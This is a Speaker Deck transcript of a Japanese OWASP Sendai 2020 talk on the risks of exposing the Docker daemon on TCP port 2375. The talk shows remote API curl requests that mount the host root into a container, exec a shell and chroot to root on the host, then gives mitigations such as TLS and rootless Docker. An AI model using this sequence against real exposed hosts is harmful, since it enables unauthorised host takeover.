Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
Docker 危険のキ!/Docker the beginning of danger
Search
yasu
February 10, 2020
Technology
1
230
Docker 危険のキ!/Docker the beginning of danger
OWASP Sendai Day 2020 での発表資料です。
yasu
February 10, 2020
Tweet
Share
More Decks by yasu
See All by yasu
Dockerとは
yasu8899
1
870
ML基本のキの一筆目
yasu8899
0
78
はじめての文字認識_改
yasu8899
1
480
rancheros-in-raspberrypi
yasu8899
2
440
5分で説明する RancherOS+Rancher2インストール / rancherosinstall
yasu8899
0
670
Other Decks in Technology
See All in Technology
Amazon Qで2Dゲームを作成してみた
siromi
0
140
Amazon Q と『音楽』-ゲーム音楽もAmazonQで作成してみた感想-
senseofunity129
0
140
【新卒研修資料】数理最適化 / Mathematical Optimization
brainpadpr
27
13k
LLM 機能を支える Langfuse / ClickHouse のサーバレス化
yuu26
9
2.2k
結局QUICで通信は速くなるの?
kota_yata
5
3.3k
生成AIによるデータサイエンスの変革
taka_aki
0
3k
AWS DDoS攻撃防御の最前線
ryutakondo
1
150
Amazon S3 Vectorsは大規模ベクトル検索を低コスト化するサーバーレスなベクトルデータベースだ #jawsugsaga / S3 Vectors As A Serverless Vector Database
quiver
1
470
2025新卒研修・HTML/CSS #弁護士ドットコム
bengo4com
3
13k
相互運用可能な学修歴クレデンシャルに向けた標準技術と国際動向
fujie
0
250
【OptimizationNight】数理最適化のラストワンマイルとしてのUIUX
brainpadpr
2
480
ユーザー課題を愛し抜く――AI時代のPdM価値
kakehashi
PRO
1
120
Featured
See All Featured
Automating Front-end Workflow
addyosmani
1370
200k
Optimizing for Happiness
mojombo
379
70k
Balancing Empowerment & Direction
lara
1
540
Rails Girls Zürich Keynote
gr2m
95
14k
[RailsConf 2023] Rails as a piece of cake
palkan
56
5.8k
Understanding Cognitive Biases in Performance Measurement
bluesmoon
29
1.8k
Building Adaptive Systems
keathley
43
2.7k
We Have a Design System, Now What?
morganepeng
53
7.7k
Refactoring Trust on Your Teams (GOTO; Chicago 2020)
rmw
34
3.1k
Bash Introduction
62gerente
614
210k
StorybookのUI Testing Handbookを読んだ
zakiyama
30
6k
Art, The Web, and Tiny UX
lynnandtonic
301
21k
Transcript
Docker 危険のキ! OWASP Sendai Day 2020 令和 2年 2月 8日
oda@sendai
OS: CentOS Linux release 8.0.1905 (Core) Client: Docker: 19.03.5 Server:
Docker Engine: 18.09.1 上記のバージョンで確認しています。 環境
H オプション 知っていますか?
Dockerは、デーモンとクライアントに分かれている。 ・通常実行するdockerコマンドは、クライアントです。 ・dockerコマンドから指示を受け取って、 実際にコンテナ操作を行うのがdockerデーモンです。 ・指示はDocker Remote APIで行っている。 デーモンとクライアント
・dockerデーモンに指定した場合、tcpでlisten出来るようになる。 ・dockerクライアントに指定した場合、 リモートのdockerデーモンにアクセス出来るようになる。 Hオプション
修正するファイル(docker01) /etc/systemd/system/multi-user.target.wants/docker.service ExecStart=/usr/bin/dockerd -H fd:// ↓ ExecStart=/usr/bin/dockerd -H fd:// -H
tcp://0.0.0.0:2375 デーモンの再起動(docker01) $ sudo systemctl daemon-reload $ sudo systemctl restart docker 実際の設定
プロセスの確認(docker01) $ ps ax | grep docker XXXX ? Ssl
0:00 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 listenされていることの確認(docker01) $ sudo ss -tnlp LISTEN 0 128 *:2375 *:* users:(("dockerd",pid=1080,fd=3)) 実際の設定
コンテナの確認(docker01) $ sudo docker container run -d --name nginx01 nginx
852116acb341aa5・・・ $ sudo docker container ls CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 852116acb341 nginx "nginx -g 'daemon of…" 35 seconds ago Up 33 seconds 80/tcp nginx01 コンテナの起動
別のマシンから実行する(docker02) $ docker -H tcp://XXX.XXX.XXX.XXX:2375 container ls CONTAINER ID IMAGE
COMMAND CREATED STATUS PORTS NAMES 852116acb341 nginx "nginx -g 'daemon of…" 2 minutes ago Up 2 minutes 80/tcp nginx01 ※この環境は、VirtualBox上で2台の仮想マシン(CentOS)を 起動しています。 XXX.XXX.XXX.XXX は、VirtualBoxを動かしている ホストのIPアドレスになります。 リモートしてみる
別のマシンから実行する(docker02) $ docker -H tcp://XXX.XXX.XXX.XXX:2375 image ls REPOSITORY TAG IMAGE
ID CREATED SIZE nginx latest 2073e0bcb60e 5 days ago 127MB hello-world latest fce289e99eb9 13 months ago 1.84kB リモートしてみる
API接続(docker02) $ curl XXX.XXX.XXX.XXX:2375/containers/json [{"Id":"852116acb341aa57417a45df4fdaa9f7f5e22547fa2146b9bc798614fc3bf 708","Names":["/nginx01"],"Image":"nginx","ImageID":"sha256:2073e0bcb60ee98 548d313ead5eacbfe16d9054f8800a32bedd859922a99a6e1","Command":"ngin x -g 'daemon
off;'","Created":1581089209,"Ports":[{"PrivatePort":80,"Type":"tcp"}],"Labels":{"ma intainer":"NGINX Docker Maintainers ・・・ dockerコマンドが使えるということは
API接続(docker02) $ curl XXX.XXX.XXX.XXX:2375/containers/json | python -m json.tool [ {
"Id": "852116acb341aa57417a45df4fdaa9f7f5e22547fa2146b9bc798614fc3bf708", "Names": [ "/nginx01" ], "Image": "nginx" dockerコマンドが使えるということは
API接続(docker02) $ curl XXX.XXX.XXX.XXX:2375/images/json | python -m json.tool [ {
"Containers": -1, ・・・ "RepoTags": [ "nginx:latest" ], ・・・ "RepoTags": [ "hello-world:latest" ], dockerコマンドが使えるということは
露出したDocker APIを介してコンテナに侵入する ボット型マルウェア「AESDDoS」について解説 投稿日:2019年7月9日 https://blog.trendmicro.co.jp/archives/21756 もうすでに ~ 一部抜粋 ~ ▪今回のAESDDoSによる攻撃について
今回確認された新しい攻撃では、攻撃者はまずTCP SYNパケットを、Dockerデーモ ンとの通信に使用されるデフォルトポートである2375に送信することによって、特定 のIP範囲を外部からスキャンします。
$ curl -X POST -H "Content-Type: application/json" \ -d '{"Image":
"nginx", "Mounts": [{"Source": "/", "Target": "/mnt", "Type": "bind"}]}' \ http://XXX.XXX.XXX.XXX:2375/containers/create {"Id":"123456789012345678901234567890","Warnings":null} ヤヴァいやつ1
$ curl -X POST -H "Content-Type: application/json" \ http://XXX.XXX.XXX.XXX:2375/containers/1234567890123456789 01234567890/start
実行の表示なし ヤヴァいやつ2
$ curl -X POST -H "Content-Type: application/json" \ -d '{"AttachStdin":
true, "AttachStdout": true, "Tty": true, "Cmd": [ "sh" ]}' \ http://XXX.XXX.XXX.XXX:2375/containers/1234567890123456789 01234567890/exec {"Id":"ABCDEFGABCDEFGABCDEFG"} ヤヴァいやつ3
$ curl -X POST -H "Content-Type: application/json" \ -d '{"Detach":
false, "Tty": true}' \ http://XXX.XXX.XXX.XXX/exec/ABCDEFGABCDEFGABCDEFG/start ※本当はここでコンテナ内のshellに繋ぎたかった。 パラメータが足りないのか、何も返ってきません。 Ctrl + c で止めます。 ヤヴァいやつ4
先ほど出来なかったので、素直にdockerコマンドで。 $ docker -H tcp://XXX.XXX.XXX.XXX:2375 container exec -it 123456789012345678901234567890 sh
# (コンテナの中です。) # ヤヴァいやつ5
# chroot /mnt sh-4.4# bash [root@ba4e368ef83c /]# ヤヴァいやつ6 この場所は、ホストのディレクトリツリーです。
[root@ba4e368ef83c /]# ps ax | grep docker XXXX ? Ssl
0:06 /usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 dockerデーモンは、当然ホスト上のプロセス いろいろと確認
[root@ba4e368ef83c ~]# docker container run -d nginx [root@ba4e368ef83c ~]# docker
container run -d nginx [root@ba4e368ef83c ~]# docker container run -d nginx [root@ba4e368ef83c ~]# docker container run -d nginx ・ ・ ・ いろいろと・・・
・FWやproxyを前面に立てる。 直接、APIをアクセスさせない。 対策
・TLS を有効にする 証明書を設定する。 APIにアクセスするときは、証明書で認証が必要。 Docker デーモンのソケットを守る http://docs.docker.jp/engine/articles/https.html#opensl-ca 対策
・リモート接続を使わない運用を考える。 なるべくssh でサーバにログインして、 unixドメインソケット接続する。 対策
・H オプションで指定できるIPは、 0.0.0.0 もしくは ホストのIPアドレスだけ。 誰もが接続可能で可能なので、非推奨です。 TIPC
dockerデーモンを非root権限で起動する。 Docker Ver 19.03 からの新機能。 Docker 19.03新機能 (root権限不要化、GPU対応強化、CLIプラグイン …) https://medium.com/nttlabs/docker-1903-5155754ff8ac
rootless docker
インストール手順 $ dnf install tar $ curl -fsSL https://get.docker.com/rootless |
sh $ echo 'export DOCKER_HOST=unix://$XDG_RUNTIME_DIR/docker.sock' >> ~/.bash_profile $ source ~/.bash_profile $ docker container run hello-world rootless docker
各コマンド・ファイルのパス ~/bin/docker ~/bin/dockerd ユーザ権限で動作する /var/run/user/1000/docker.sock ユーザ権限で動作する rootless docker
起動設定のファイル /home/user02/.config/systemd/user/docker.service 起動オプション ExecStart=/home/user02/bin/dockerd-rootless.sh --experimental --storage-driver=vfs ※実験的な機能かな?? rootless docker
起動コマンド $ systemctl start docker --user OS起動時に自動起動 $ systemctl enable
docker --user rootless docker
プロセスの確認 $ ps axu | grep docker user02 8525 0.0
1.2 109856 10480 ? Ssl 12:39 0:00 rootlesskit --net=vpnkit --mtu=1500 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run /home/user02/bin/dockerd-rootless.sh --experimental --storage-driver=vfs user02 8532 0.0 0.9 109856 8136 ? Sl 12:39 0:00 /proc/self/exe --net=vpnkit --mtu=1500 --slirp4netns-sandbox=auto --slirp4netns-seccomp=auto --disable-host-loopback --port-driver=builtin --copy-up=/etc --copy-up=/run /home/user02/bin/dockerd-rootless.sh --experimental --storage-driver=vfs user02 8563 1.0 5.7 492804 48408 ? Sl 12:39 0:00 dockerd --experimental --storage-driver=vfs user02 8575 0.5 3.2 463220 26936 ? Ssl 12:39 0:00 containerd --config /run/user/1000/docker/containerd/containerd.toml --log-level info user02 8713 0.0 0.1 10284 1096 pts/0 R+ 12:40 0:00 grep --color=auto docker 全てユーザ権限!! rootless docker
rootless dockerで、ヤヴァいやつを試したかったのです が、 オプションを付けると起動しませんでした。 rootless docker
Docker 危険のキ! END